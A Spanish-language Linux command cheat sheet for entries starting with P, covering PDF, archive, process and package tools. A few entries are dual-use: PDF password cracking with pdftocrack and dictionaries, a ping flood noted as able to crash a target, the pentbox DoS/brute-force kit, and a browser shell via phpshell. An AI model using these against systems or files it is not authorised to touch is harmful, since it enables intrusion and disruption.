## patool

puede crear, extraer, probar, enumerar, comparar, buscar y recomprimir varios formatos de archivo. El formato de archivo se determina con el archivo y como alternativa por la extensión del archivo.

patool admite 7z (.7z), ACE (.ace), ADF (.adf), ALZIP (.alz), AR (.a), ARC (.arc), ARJ (.arj), BZIP2 (.bz2), CAB (.cab), comprimir (.Z), CPIO (.cpio), DEB (.deb), DMS (.dms), FLAC (.flac), GZIP (.gz), ISO (.iso), LZH (.lha, .lzh), LZIP (.lz), LZMA (.lzma), LZOP (.lzo), RAR (.rar), RPM (.rpm), RZIP (.rz), SHAR (.shar), SHN Formatos (.shn), TAR (.tar), XZ (.xz), ZIP (.zip, .jar) y ZOO (.zoo). Se basa en aplicaciones auxiliares para manejar esos formatos de archivo (por ejemplo, bzip2 para archivos BZIP2). Los formatos de archivo TAR, ZIP, BZIP2 y GZIP son compatibles de forma nativa y no requieren la instalación de aplicaciones auxiliares.

```
$ patool extract archivo.zip archivo.rar
crear un directorio de cada archivo especificado
```

```
$ patool --verbose test ubuntu.iso
realizar un test de una iso
```

```
$ patool list package.deb
ver el contenido de un .deb
```

```
$ patool diff file.rar file.zip
comparar si existen diferencias entre dos archivos comprimidos
```

```
$ patool repack archivo.zip archivo.rar
reparar un .zip y guardar como .rar
```

```
$ patool recompress archivo.rar
recomprimir un archivo
```

## pbzip2

Comprensión en paralelo que puede usarse en máquinas de más de un núcleo. Las opciones de uso son las mismas que bzip2.

## pcaputils

Incluye las siguientes utilidades basadas en libpcap: pcapip [filtra un archivo pcap de entrada basándose en un archivo que contiene direcciones IP], pcappick [selecciona fotogramas específicos de un pcap por número], pcapuc [imprime IP src únicas, IP dst o pares de IP {src, dst} presenciados] y pcapdump [una utilidad de captura de paquetes similar a dumpcap]

## pcimodules

[pciutils]. Enumera todos los módulos de controladores para todos los dispositivos PCI conectados.

```
# pcimodules
básico
```

```
# pcimodules --class 0x20000 --classmask 0xffff00
los correspondientes a ethernet
```

## pcmanfm

Gestor de archivos

```
$ pcmanfm --set-wallpaper /home/USER/images/limagen.jpg
colocar fondo
```

1.-

Creacion de un icono en el escritorio:

```
$ mkdir Desktop
```

```
$ touch Desktop/home.desktop
```

Y para lanzar thunar, pegar el contenido:

```
[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=thunar
Name=Personal
Icon=/usr/share/icons/gnome/32x32/places/user-home.png
Nota.- Revisar la ruta del icono.
```

2.-

Para abrir ventanas y no tabs en pcmanfm solo si se abren por terminal, colocar en .bashrc la linea.

```
alias pcmanfm='pcmanfm -n'
```

## pdb

Debugger de código python.

```
$ pdb archivo.py
```

## pdd

Utilidad para calcular la diferencias entre fechas y horas. Si no se especifican argumentos, muestra la fecha, hora y zona horaria actuales.

```
$ pdd
forma básica para la fecha y hora actual actual
```

```
$ pdd 2022 03 25
calcular la ñdiferencia entre la fecha especificada y el dia de hoy
```

```
$ pdd 23:05:00
calcular la diferencia hasta el momento actual
```

```
$ pdd 0
hora actual
```

```
$ pdd -d 1956 03 16 2023 11 23
calcular la diferencia entre dos fechas
```

```
$ pdd -t 01:50:00 09:55:00
calcular la diferencia entre dos horas
```

```
$ pdd -d 2023 11 14 1 1 10 --add
añadir 1 año, 1 mes y a0 dias a la fecha especificada
```

```
$ pdd 1 1 10 --add
añadir 1 año, 1 mes y 10 dias a la fecha actual
```

## P

```
$ pdd -t 11:27:00 05:10:10 --add
añadir 5 horas, 10 minutos y 10 segundos a la hora especificada
```

```
$ pdd 01:05:00 --add
mostrar la hora que será añadiendo 1 hora 5 minutos
```

```
$ pdd -d 2023 03 02 0 0 2 --sub
restar un día a la fecha especificada
```

```
$ pdd --day 1956 03 16
que día de la semana era en la fecha especificada
```

## pdf2djvu

Convertir pdfs en djvu.

```
$ pdf2djvu -o salida.djvu archivo.pdf
```

## pdf2htmlEX

Convertir pdf a html sin perder texto ni formato. Soporta imágenes .png y .jpg.

```
$ pdf2htmlEX archivo.pdf archivo.html
```

```
$ pdf2htmlEX --split-pages 1 archivo.pdf
Guardando cada página en un archivo separado. Por defecto un solo archivo [0]
```

```
$ pdf2htmlEX --hdpi 200 --vdpi 200 archivo.pdf archivo.html
Especificando DPI horizontal y vertical
```

## pdf2ps

[psutils]. Convertir pdf a postscript. Ver ps2pdf

```
$ pdf2ps fichero.pdf
```

1.-

Proceso para disminuir el peso de un pdf:

```
$ pdf2ps entrada.pdf salida.ps
Pasarlo a postcript
```

```
$ ps2pdf salida.ps resultado_reducido.pdf
Pasar el postscript nuevamente a pdf
```

## pdf2svg

Conveter pdfs a svg.

```
$ pdf2svg archivo.pdf salida.svg
```

```
$ pdf2svg archivo.pdf salida.svg 5
Sólo la página 5
```

```
$ pdf2svg archivo.pdf a%d.svg all
Convertir cada hoja en un svg con nombre tipo: a1.svg, a2.svg...
```

## pdftocrack

Craqueador de pdfs

```
$ pdftocrack -f archivo.pdf
Sin especificaciones
```

```
$ pdftocrack -f archivo.pdf -w /home/usuario/diccionario
con un diccionario
```

```
$ pdftocrack archivo.pdf -n 6 -c abcdefghijklmnopqrstuvwxyz -s
```

-n 6 (Hasta 6 caracteres)

-c ....(enumerar todas las opciones a probar)

-s (Prueba el primer caracter en mayúscula)

## pdfcrop

Herramienta que calcula y elimina los márgenes para cada página del archivo.

```
$ pdfcrop --margins '5 10 5 10' --clip entrada.pdf salida.pdf
nuevos margenes
```

## pdfdetach

Averigua si el pdf tiene archivos embebidos.

```
$ pdfdetach -list archivo.pdf
```

## pdfimages

[xpdf-utils]. Extraer las imágenes de un pdf

```
$ pdfimages fichero.pdf fichero
```

```
$ pdfimages -j fichero.pdf fichero
guardarlas en formato jpeg
```

## pdfinfo

Muestra información del pdf.

```
$ pdfinfo archivo.pdf
```

## pdfjoin

[pdfjam]. Unir varios pdf con el mismo formato de página en uno

```
$ pdfjoin --fitpaper true 1.pdf 2.pdf --outfile 12.pdf
```

## pdflatex

Covertir archivos tex a pdf.

```
$ pdflatex texto.tex
```

## pdfnup

[pdfjam]. Compactar varias páginas de un pdf en una y viceversa.

```
$ pdfnup --nup 2E4 archivo.pdf
8 páginas
```

```
$ pdfnup --nup 2x1 --outfile output.pdf input.pdf
dos páginas en una
```

```
$ pdfnup --nup 2x2 --outfile output.pdf input.pdf
4 páginas
```

## pdfopen

abrir un archivo pdf.

```
$ pdfopen -viewer evince archivo.pdf
con evince
```

```
$ pdfopen -viewer evince -p 5 archivo.pdf
abrirlo por la página 5 con evince
```

## pdfresurrect

herramienta para la extracción/limpieza de metadatos de documentos pdf.

```
$ pdfresurrect -i archivo.pdf
Información del creador del pdf
```

```
$ pdfresurrect -w archivo.pdf
Escribe las versiones y resumen del pdf al disco
```

```
$ pdfresurrect -q archivo.pdf
Muestra el número de versiones del pdf
```

```
$ pdfresurrect -s archivo.pdf
Limpia todos los datos del pdf
```

## pdfseparate

Separa cada página de un pdf en un pdf.

```
$ pdfseparate sample.pdf sample-%d.pdf
si sample.pdf tiene 3 páginas crea sample-1.pdf, sample-2.pdf, sample-3.pdf
```

## pdfsig

Verifica las firmas digitales, caso de tenerlas, en un documento PDF y muestra la identidad de cada firmante y la hora y fecha de la firma. La validación del certificado del firmante usa los certificados confiables almacenados en la base de datos de firefox y en el archivo /etc/pki/nssdb.

```
$ pdfsig archivo.pdf
File 'archivo.pdf' does not contain any signatures
```

## pdftk

Manipulación de pdfs

```
$ pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
```

Unir PDFs y crear un pdf nuevo

```
$ pdftk A=1.pdf B=2.pdf cat A B output 12.pdf
```

lo mismo utilizando etiquetas

```
$ pdftk *.pdf cat output todos.pdf
```

o utilizando comodines

```
$ pdftk A=one.pdf B=two.pdf cat A1-7 B1-5 A8 output combined.pdf
```

Separar páginas seleccionadas de distintos PDFs y crear uno nuevo

```
$ pdftk revista.pdf cat 37-39 output 37_39.pdf
```

Separar páginas de un pdf

```
$ pdftk revista.pdf cat 4 output 4.pdf
```

separar la 4 pagina

```
$ pdftk texto.pdf output texto.128.pdf owner_pw foopass
```

Encriptar un PDF restringiendo todos los permisos

```
$ pdftk mydoc.pdf output mydoc.128.pdf owner_pw foo user_pw baz
```

Lo mismo pero con contraseña para abrir el PDF

```
$ pdftk mydoc.pdf output mydoc.128.pdf owner_pw foo user_pw baz allow printing
```

Lo mismo con permiso para imprimir una vez abierto

```
$ pdftk secured.pdf input_pw foopass output unsecured.pdf
```

Desencriptar pdf

```
$ pdftk A=secured.pdf mydoc.pdf input_pw A=foopass cat output combined.pdf
```

Unir dos PDFs uno de ellos encriptado. La salida no queda encriptada)

```
$ pdftk mydoc.pdf output mydoc.clear.pdf uncompress
```

Descomprimir cadenas de paginas PDF para editar el codigo PDF en un editor de texto

```
$ pdftk broken.pdf output fixed.pdf
```

Reparar una tabla XREF de PDF y las longitudes de cadena, cuando es posible)

```
$ pdftk archivo.pdf output comprimido.pdf compress
```

Comprimir pdf

```
$ pdftk archivo.pdf output descomprimido.pdf uncompress
```

Descomprimir pdf

```
$ pdftk input.pdf cat 1-endE output output.pdf
```

rotar 90 grados el pdf

```
$ pdftk archivo.pdf dump_data_fields
```

obtener campos de cualquier formulario pdf

```
$ pdftk archivo.pdf dump_data_fields output campos.lst
```

Lo mismo derivado a un archivo

```
$ pdftk archivo.pdf burst
```

Generar un pdf de cada página

Opciones:

```
-B: Realizar evaluación comparativa y salir
-C [CADENA]: Utiliza los caracteres indicados para la búsqueda de la contraseña
-m [numero]: Se buscará hasta llegar a la longitud de caracteres de numero
-n [numero]: Se empezará a probar contraseñas de numero caracteres
-l [FILE]: Continuará desde el punto guardado en el archivo FILE.
-q: Ejecutar silenciosamente
-s: Realiza el crack permutando contraseñas
-u: Trabajar con el userpassword
```



## pdftocairo

Convierte páginas de un pdf a cualquiera de los siguientes formatos de imagen: PNG, JPEG, TIFF, PDF, PS, EPS, SVG y Windows Printer

```
$ pdftocairo -f 1 -l 3 -r 200 -png archivo.pdf
creará 3 .png de la primera página [-f 1] a la tercera [-l 3] a 200 de resolución [por defecto 150] del archivo.pdf
```

## pdftohtml

Pasar un pdf a html. Preferible lanzar en una carpeta sin contenido ya que, dependiendo de la medida del pdf, produce varios archivos.

```
$ pdftohtml -i -stdout archivo.pdf | w3m -T text/html
leerlo por consola con w3m sin mostrar imagenes [-i]
```

```
$ pdftohtml -s archivo.pdf
Crea un html de una sola página
```

```
$ pdftohtml -c archivo.pdf
Crea una página cada una del pdf
```

## pdftops

Pasar un pdf a ps. Útil para imprimir archivos pdf protegidos contra escritura.

```
$ pdftops archivo.pdf
El archivo.ps resultante puede ser impreso aunque el archivo.pdf estuviera protegido
```

## pdftotext

[xpdf-utils]. Manipulación de pdfs.

```
$ pdftotext -listenc
Lista las codificaciones soportadas
```

```
$ pdftotext -layout texto.pdf texto.txt
```

```
$ pdftotext -htmlmeta texto.pdf texto.html
```

```
$ pdftotext -enc UTF-8 -htmlmeta texto.pdf texto.html
Especificando una codificación
```

## pdfunite

Unir varios pdf en un sólo documento.

```
$ pdfunite 1.pdf 2.pdf 1+2.pdf
```

## pebrot

Cliente msn en ncurses. Ingresar usuario y contraseña en /home/USUARIO/.pebrot/pebrotrc

Algunos atajos:

```

h (lista de comandos)
l (contactos conectados y enumerados)
numero (abre conversación con el número del contacto)
i numero (invita al usuario del numero indicado a la conversación)
e (limpia la pantalla)
c (cierra la conversación activa)
a usuario (añade un usuario a contactos)
b usuario (bloquea a usuario)
f archivo (enviar archivo)
fa (aceptar archivo que nos envían)
fr (rechazar recepción de archivo)

```

## pee

[moreutils]. Parecido al comando tee [ver] ejecutando cada uno de los comandos

```
$ pee ls pwd "ip a"
```

## pentbox

Descarga de <<http://www.pentbox.net/download-pentbox/>> . Herramientas de penetración [verificar fortaleza de contraseñas cifradas en MD5, SHA1, SHA256, SHA512, generador de DoS i DDoS, generador de contraseñas seguras, honeypots, escaneo de puertos, ataque de fuerza bruta contra servidores HTTP , geolocalización de direcciones MAC...]

```
$ pentbox
```

## perftest

Es una colección de pruebas destinadas a usarse como microevaluación de rendimiento como medir la latencia y el ancho de banda de las estructuras Infiniband. Incluye varios ejecutables: ib\_atomic\_bw , ib\_atomic\_lat, ib\_read\_bw, ib\_read\_lat, ib\_send\_bw, ib\_send\_lat, ib\_write\_bw, ib\_write\_lat, raw\_ethernet\_burst\_lat, raw\_ethernet\_bw, raw\_ethernet\_fs\_rate, raw\_ethernet\_lat, run\_perftest\_loopback y run\_perftest\_multi\_devices

## pev

Herramienta para obtener información de los ejecutables PE32/PE32+ (EXE, DLL, OCX etc) como cabeceras, secciones, recursos y más.

```
$ pev -p putty.exe
ver solo la versión de putty.exe
```

```
$ pev -dc cards.dll
mostrar los encabezados de archivo DOS y COFF de cards.dll
```

```
$ pev svchost.exe
mostrar toda la información de svchost.exe
```

## peyote

Reproductor de música tipo moc. <<http://peyote.sourceforge.net/>>

```
$ peyote directory /home/USER/musica
```

algunas teclas de control:

```

n (Siguiendo canción)
s (reproducir el directorio de forma aleatoria)
r (Repetir)
espacio (Pausa)
q (Salvar la sesión y salir)
tab (Moverse entre los paneles)

```

## pg

Muestra un texto tabulado a pantalla completa de la terminal. Con la tecla intro carga nuevo párrafo.

```
$ pg archivo
```

## pgrep

Examina los procesos en ejecución y enumera los identificadores de cada proceso.

```
$ pgrep emacs
```

```
$ pgrep httpd
```

```
$ pgrep -l -G group  
del grupo especificado
```

```
$ pgrep -l -u user  
del usuario especificado
```

## pgtop

Monitorear la base de datos de postgres.

```
# pgtop -h localhost -s 10 -p 6543 -d BASE_DE_DATOS -u USER -p PASS  
del host localhost, actualización cada 10 segundos [por defecto 5], puerto 6543 [por defecto 3306]  
de la base de datos especificada, usuario USER y la contraseña
```

## phockup

Organizar carpetas de fotos por año, mes y día. Descarga: <<https://github.com/ivandokov/phockup>>

```
$ phockup -d YYYY/M carpeta_fotos carpeta_ordenada  
por año y mes por nombre en inglés
```

```
$ phockup -l -d YYYY/MM carpeta_fotos carpeta_ordenada  
creando un link de las fotos en carpeta_ordenada hacia carpeta_fotos para no tenerlas duplicadas
```

Formatos soportados:

YYYY - 2017, 2018 ...

YY - 17, 18 ...

MM - 01, 02, ...

M - July, August, September ...

m - Jul, Aug, Sept ...

DD - 20, 21, ...

## phoronix

[phoronix-test-suite]. suite de pruebas para medir el rendimiento de un sistema o componente del mismo [benchmarking]. Cuenta con un repositorio online con gran cantidad de pruebas y se ejecutan a través de un archivo de configuración XML.

```
# phoronix-test-suite list-available-tests
```

Lista los test disponibles y una pequeña descripción

```
# phoronix-test-suite list-available-suites
```

Lista las suites disponibles y una pequeña descripción

```
# phoronix-test-suite install pts/encode-flac
```

Instalar con sus dependencias un test o suite. En este caso el test pts/encode-flac

```
# phoronix-test-suite benchmark pts/encode-flac
```

Realizar la prueba que mide el tiempo que el pc tarda en convertir un wav a flac

```
# phoronix-test-suite system-information
```

Muestra la configuración completa

```
# phoronix-test-suite list-saved-results
```

Ver los resultados guardados

```
# phoronix-test-suite result-file-to-pdf archivo.pdf
```

Exportar resultados a un archivo pdf

```
# phoronix-test-suite result-file-to-cvs archivo.cvs
```

Exportar los resultados a un archivo cvs

```
# phoronix-test-suite result-file-to-text archivo.txt
```

Exportar los resultados a un archivo txt

```
# phoronix-test-suite merge-results resultado1 resultado2 resultado3
```

Realizar tablas comparativas con los resultados

Nota.- Al realizar un test se nos preguntará si deseamos guardar la prueba (Los resultados se guardan en \$HOME/.phoronix-test-suite/test-results), luego el test comenzará y una vez terminado se nos preguntará si queremos ver los resultados en el navegador.

## photon

Generar una galería web.

```
$ photon directorio_con_las_imagenes
```

Crearé una nueva carpeta con todos los html

```
$ photon -o /var/www/ /home/usuario/fotos
```

A partir de la carpeta fotos, lo creará en el directorio web

## photorec

[testdisk]. Recuperar datos de discos, tarjetas, cds deteriorados... Precisa pantalla maximizada.

```
# photorec
```

## php

Lenguaje de programación diseñado originalmente para la creación de páginas web.

```
$ php -v
```

Conocer la versión

```
$ php -m
```

Muestra módulos instalados

## P

```
$ php -i
Información general de php
```

```
$ php -s archivo.php > archivo.html
Crea un archivo html de un php
```

```
$ php -l script.php
Comprobar la sintaxis de un script.php
```

```
$ php --ini
Informa donde se encuentran los archivos .ini de php
```

```
$ php -S localhost:9000 -t /ruta/al/proyecto
Crear un servidor php ligero
```

1.-

Configuración de php de forma segura (php.ini)

```
# nano /etc/php/7.0/cli/php.ini
expose_php Off (Ocultar la versión de php)
session.use_trans_sid = Off (Que las URL no muestren los ID de sesiones)
allow_url_fopen = Off (Desactivar acceso a URL remotas en funciones de manejo de ficheros)
display_errors = Off (Evitar que los errores se muestren por pantalla)
Nota.- Para conocer la situación de php.ini, porque puede variar segun la versión de php y distro:
```

```
$ php -i | grep "Loaded Configuration File"
```

2.-

Arreglar el error: PHP Deprecated: Comments starting with '#' are deprecated in /etc/php5/cli/conf.d/ming.ini on line 1 in Unknown on line 0

```
# nano /etc/php5/cli/conf.d/ming.ini
Y cambiar el # de los comentarios por un ;
```

## phpshell

[apache2 php5 libapache2-mod-auth-mysql php5-mysql]. Script en php que proporciona una terminal en el navegador. Descarga de <http://sourceforge.net/projects/phpshell/?source=dlp>. Para la versión 2.4:

```
$ wget http://sourceforge.net/projects/phpshell/files/phpshell/2.4/phpshell-2.4.zip
```

```
$ unzip phpshell-2.4.zip
```

Mover la carpeta al directorio web y darle un nombre:

```
$ mv phpshell-2.4/ /var/www/shell
```

Renombrar:

```
$ cd /var/www/shell
```

```
$ mv phpshell.php index.php
```

Entrar en el navegador y acceder en la dirección: <http://localhost/shell/pwhash.php> para entrar un nombre de usuario y una contraseña. Completado el registro, pulsar "update". Copiar el hash que muestra y pegarlo en el archivo de configuración:

```
$ nano /var/www/shell/config.php
```

Pegar el hash en el apartado [users]

```
templix = "sha1:2ud9a08b:27w6806b770f9716a9ec3f9b72a402e3b0a8b6e5"
Entrar en phpshell colocando en el navegador: http://localhost/shell
```

## pi

Calcula la cantidad de decimales de pi que se le indique.

```
$ pi 100
```

```
$ pi 1000
```

## pico

Editor de texto al estilo de Pine Composer.

```
$ pico fichero.txt
```

Algunas teclas para moverse por el fichero:

```
^p o <flecha arriba> ir a la linea anterior

^n o <flecha abajo>  ir a la linea siguiente

^a                      ir al principio de la línea.

^e                      ir al final de la línea.

^v                      adelanta una página

^y                      página anterior

^k                      elimina la línea del cursor.

^u                      restaura líneas eliminadas y las coloca en la posición del cursor.

^w                      busca texto

^x                      guardar y salir
```

## pidof

muestra el Pid del programa si está activo.

## pidstat

[sysstat]. Muestra información relacionada con los procesos del sistema.

```
$ pidstat
informa del uso de la CPU
```

```
$ pidstat -u
lo mismo
```

```
$ pidstat -d
Muestra la tasa de lectura/escritura a los medios fisicos
```

```
$ pidstat -p 1234
Especifica que solo deseas analizar el proceso 1234
```

```
$ pidstat -C comando
Similar a -p pero indicando el nombre del proceso
```

```
$ pidstat -r (Muestra el uso de memoria de los procesos y errores de paginación en la memoria
de los procesos -page faults-).
```

```
$ pidstat -l
En sistemas multicore, indica la CPU en la que se ejecuta el comando
```

```
$ pidstat -d 5 2
```

5 es el intervalo de tiempo y 2 el número de veces que ejecutara el comando. Cuando haya llegado al número de ejecuciones, pidstat se parará y mostrará una media con los valores obtenidos

```
$ pidstat -d 5
omitiendo el numero de veces a ejecutar para producir un bucle infinito. Parar con ^C
```

## pig

[bsd-games]. Reformatear palabras o frases entradas en el prompt a un lenguaje macarrónico.

```
$ pig
entra en el prompt. Entrar cualquier frase pulsar enter y comprobar el resultado
```

## pigz

Compresión de ficheros. Permite lanzar varias instancias en paralelo para un único proceso de compresión. Sobreescribe el fichero dándole extensión gz a menos que lo usemos con el parámetro -k. Pigz es casi lo mismo que gzip solo que aprovecha los múltiples cores a diferencia de gzip que solo usa un core. Al comprimir sólo ficheros, si queremos comprimir un directorio, primero se ha de empaquetar con tar (ver). Descarga y compilación:

```
wget http://zlib.net/pigz/pigz-2.3.1.tar.gz
$ tar -xzf pigz-2.3.1.tar.gz
$ make
Nota.- Si no se desea arrancar la aplicación con ./pigz crear un enlace directo en el path [ln -s
pigz-2.3.1/pigz /usr/bin/]
```

```
$ pigz -p 4 fichero
Especificando número de procesos a levantar. Por defecto utiliza todos los cores i procesadores de
la máquina
```

```
$ pigz -k fichero
Sin sobreescribir el fichero
```

```
$ pigz -d fichero.gz
Descomprimir el fichero creado
```

```
$ pigz -r carpeta
Comprimir todos los archivos de la carpeta. No la carpeta
```

Algunas opciones:

--fast (Nivel mínimo de compresión)

--best (Nivel máximo de compresión)

## pilfile

Identificar archivos de imagenes.

```
$ pilfile -l
listado de archivos soportados
```

```
$ pilfile -i grafic.png
```

## pinfo

Comando para mostrar información de los programas del proyecto GNU parecido a "info" [ver] pero más configurable.

```
$ pinfo ip
```

Ejemplo de archivo de configuración <<http://pinfo.sourceforge.net/doc/pinfo.html#SEC8>>

```
$ nano .pinforc
```

```

# Here are some colour setting.
# Whitespace between the entries is optional.
#
COL_NORMAL          =COLOR_WHITE,    COLOR_BLACK, NO_BOLD, NO_BLINK
COL_MENUSELECTED    =COLOR_RED,      COLOR_BLACK, BOLD,   NO_BLINK
COL_MENU            =COLOR_BLUE,     COLOR_BLACK, BOLD,   NO_BLINK
COL_NOTESELECTED    =COLOR_RED,      COLOR_BLACK, BOLD,   NO_BLINK
COL_NOTE            =COLOR_GREEN,     COLOR_BLACK, BOLD,   NO_BLINK
COL_TOPLINE         =COLOR_YELLOW,   COLOR_BLUE,  BOLD,   NO_BLINK
COL_BOTTOMLINE      =COLOR_YELLOW,   COLOR_BLUE,  BOLD,   NO_BLINK
COL_MANUALBOLD      =COLOR_WHITE,     COLOR_BLACK, BOLD,   NO_BLINK
COL_MANUALITALIC    =COLOR_WHITE,     COLOR_BLACK, BOLD,   NO_BLINK
COL_URL             =COLOR_MAGENTA,   COLOR_BLACK, BOLD,   NO_BLINK
COL_URLSELECTED     =COLOR_RED,       COLOR_BLACK, NO_BOLD, NO_BLINK
COL_INFOHIGHLIGHT   =COLOR_WHITE,     COLOR_BLACK, BOLD,   NO_BLINK
#
# Here are some keybindings as well...
#
KEY_TOTALSEARCH_1   ='s'
KEY_TOTALSEARCH_2   ='S'
KEY_SEARCH_1         ='/'
KEY_SEARCH_2         ='.'
KEY_GOTO_1           ='g'
KEY_GOTO_2           ='m'
KEY_HOME_1           ='h'
KEY_HOME_2           ='H'
KEY_PREVNODE_1       ='p'
KEY_PREVNODE_2       ='P'
KEY_NEXTNODE_1       ='n'
KEY_NEXTNODE_2       ='N'
KEY_UP_1             =KEY_UP
KEY_UP_2             ='u'
KEY_END_1            =KEY_END
KEY_END_2            ='e'
KEY_PGDN_1           =KEY_NPAGE
KEY_PGDN_2           =' '
KEY_PGDN_AUTO_1      =0
KEY_PGDN_AUTO_2      =' '
KEY_PGUP_1           =KEY_PPAGE
KEY_PGUP_2           ='b'
KEY_PGUP_AUTO_1      =0
KEY_PGUP_AUTO_2      ='b'
KEY_DOWN_1           =KEY_DOWN
KEY_DOWN_2           ='d'
KEY_TOP_1            =KEY_HOME
KEY_TOP_2            ='t'
KEY_BACK_1           =KEY_LEFT
KEY_BACK_2           ='l'
KEY_FOLLOWLINK_1     =KEY_RIGHT
KEY_FOLLOWLINK_2     =' \n'
# 12 is a code for ctrl+l
KEY_REFRESH_1        =KEY_CTRL('l')
KEY_REFRESH_2        ='~'
KEY_SHELLFEED_1      ='!'
KEY_SHELLFEED_2      ='l'
KEY_QUIT_1           ='q'
KEY_QUIT_2           ='Q'
KEY_DIRPAGE_1        ='d'
KEY_DIRPAGE_2        ='D'
KEY_GOLINE_1         ='l'
KEY_GOLINE_2         =0
KEY_PRINT_1          ='j'
KEY_PRINT_2          =0
KEY_SEARCH_AGAIN_1   ='f'
KEY_SEARCH_AGAIN_2   =0
#
# Some options, explained in the man page
#
MANUAL=false
CUT-MAN-HEADERS=true
CUT-EMPTY-MAN-LINES=true
RAW-FILENAME=false
APROPOS=false
DONT-HANDLE-WITHOUT-TAG-TABLE=false
LONG-MANUAL-LINKS=false
FILTER-0xB7=true

```



```

QUIT-CONFIRMATION=false
QUIT-CONFIRM-DEFAULT=no
CLEAR-SCREEN-AT-EXIT=true
STDERR-REDIRECTION="2> /dev/null"
HTTPVIEWER=lynx
FTPVIEWER=lynx
MAILEDITOR=pine
MANLINKS=1:8:2:3:4:5:6:7:9:n:p:o:3X11:3Xt
INFOPATH=/usr/info:/usr/share/info:/usr/local/info
HIGHLIGHTREGEXP=bash.*has
SAFE-USER=nobody
SAFE-GROUP=nobody

```

## ping

Para saber si existe conexión con un host

```
$ ping ip
Uso básico
```

```
$ ping -c 2 google.com
mandar solo dos paquetes
```

```
$ ping -n google.com
Muestra las direcciones ip por su número y no por su nombre de host
```

```
$ ping -i 2 google.es
Establece un intervalo de 2 segundos entre cada transmisión. Por defecto 1"
```

```
$ ping -w 3 google.es
Salir de ping a los 3 segundos
```

```
# ping -f google.es
Envío masivo de pings. Por cada ECHO_REQUEST enviado se escribe un punto [.] y por cada ECO_REPLY
recibido un baskspace [retroceso]. Puede colgar la red o la máquina objetivo mientras dura el ping
```

```
# ping -s 200 google.es
Especificando número de bytes de datos que se envían. Por defecto 56. Combinado con el parámetro -
f puede ser letal para la máquina objetivo
```

## pinky

Información sobre los usuarios del sistema.

```
$ pinky -l usuario
```

```
$ pinky -b usuario root
shells abiertas por los usuarios especificados
```

## pip

[python3-pip python-dev build-essential]. Herramienta para instalar, actualizar, eliminar y buscar paquetes de Python.

```
# pip install paquete
```

```
# pip uninstall paquete
desinstala el paquete
```

```
# pip search paquete
Busca información sobre el paquete
```

```
# pip freeze
Listar la totalidad de paquetes python instalados y su versión
```

## P

```
# pip list --outdated
listar paquetes absoletos
```

```
# pip show paquete
información de un paquete
```

```
# pip check
verificar paquetes instalados si están bien instalados y no tienen problemas de dependencias
```

```
# pip install --upgrade paquete
actualizar un paquete a su última versión
```

```
# pip freeze | grep -v '^-\e' | cut -d = -f 1 | xargs -n1 pip install -U
actualizar todos los paquetes
```

```
# pip cache dir
Ver la ubicación del directorio que almacena copias en forma de cache de los paquetes que se
descargan
```

## pipes

[pipes.sh]. Muestra tuberías que se dibujan en la terminal. Hay varios tipos de tuberías disponibles .

```
$ pipes -t 5 -p 10
10 tuberías, por defecto 1 y con el modelo de caracteres 7
```

## pitidos

(del pc). Señales de alerta sonora cuando algo falla.

Sin pitidos.- Sin suministro eléctrico

Pitido constante ininterrumpido.- Falla en el suministro eléctrico

Pitidos cortos y constantes.- Placa base defectuosa.

1 pitido corto .- Lo normal.

1 pitido largo.- Fallo en memoria RAM.

1 pitido largo + 1 corto.- Fallo general en la placa base

1 pitido largo + 2 cortos.- Problema con la tarjeta de vídeo

1 pitido largo + 3 cortos.- Monitor no conectado a la tarjeta gráfica

1 pitido largo + varios cortos.- Problema con la tarjeta de vídeo

2 pitidos largos + uno corto.- Error en la sincronización de imágenes

## pkaction

[policykit o polkit según distros]]. Herramienta para manejar politicas que permitan a los procesos sin privilegios "hablar" con procesos privilegiados.

```
$ pkaction
Muestra todos los procesos a los que afecta esta politica
```

```
# pkaction | grep power
Las que hacen referencia al proceso "power"
```

## pkcon

[packagekit]. Gestión de paquetes para varios sistemas (apt-get, rpm...). Permite realizar tareas simples de administración de software, por ejemplo, actualizando la caché, instalando y eliminando paquetes de software o buscando codecs multimedia. Su interfaz gráfica, packagekit, no pretende reemplazar herramientas avanzadas como Synaptic.

```
# pkcon update
equivalente al apt update
```

```
# pkcon install paquete
instalar "paquete"
```

```
# pkcon remove paquete
eliminar "paquete"
```

```
# pkcon upgrade-system complete
actualizar toda la distro
```

```
# pkcon get-updates
muestra los paquetes actualizables
```

```
# pkcon get-packages
listar todos los paquetes disponibles e instalables
```

```
# pkcon repo-list
listar todos los repos de los paquetes instalados
```

```
# pkcon repair
reparar la base de datos de los repositorios
```

## pkexec

Herramienta que forma parte de PolicyKit y permite que un usuario autorizado pueda ejecutar un único programa como si fuera otro usuario. Es el substituto de gksudo.

```
$ pkexec --user otro_usuario synaptic
```

## kill

matar procesos.

```
# kill -x scribus
equivalente a: # killall scribus
```

```
$ kill -9 -t pts/3
Mata procesos no basados en el PID. La terminal 3 en este caso
```

```
# kill -9 -t tty1
Mata la terminal tty1
```

```
# kill -u `whoami`
Mata todos los procesos del usuario
```

```
# kill -KILL -u usuario
lo mismo
```

## pktstat

Monitor de tráfico de red

```
# pktstat -i eth0 -n -w 3
especificando red, sin resolver las ips y refresco cada 3 segundos [por defecto cada 5]
```

## planets

Simulador gravitacional del movimiento de los astros.

```
$ planets
```

Algunas teclas de control:

```
j (Crea planetas orbitales aleatorios)
r (Crea planetas aleatorios)
c (Centra el sistema planetario)
t (Muestra las trayectorias)
e (Resetear el universo)
s (Guardar)
l (Cargar un universo)
Flechas (Desplazan el conjunto)
```

## play

[sox]. Reproductor

```
$ play archivo.wav
```

## plowshare

herramienta que permite subir y descargar archivos alojados en megaupload, rapidshare... ]<http://plowshare.googlecode.com/files/plowshare-SVN-r1575-snapshot.tar.gz>]

```
$ plowdown url
Descargar un archivo
```

```
$ plowdown lista_de_links.txt
descarga una lista de links
```

```
$ plowdown -a usuario:contraseña url
caso de precisar usuario y contraseña
```

## pm

[pm-utils]. Colección de comandos que permiten suspender, hibernar o pasar a modo de bajo consumo.

```
# pm-is-supported
determinar qué modos de ahorro de energía son soportado por el sistema
```

```
# pm-powersave
activa o desactiva el modo de ahorro de energía, pasándolo a "L"
```

```
# pm-suspend
suspende las operaciones en memoria y coloca el sistema al mínimo consumo posible
```

```
# pm-hibernate
hiberna el sistema bajando todos los datos de memoria al disco rígido
```

```
# pm-suspend-hybrid
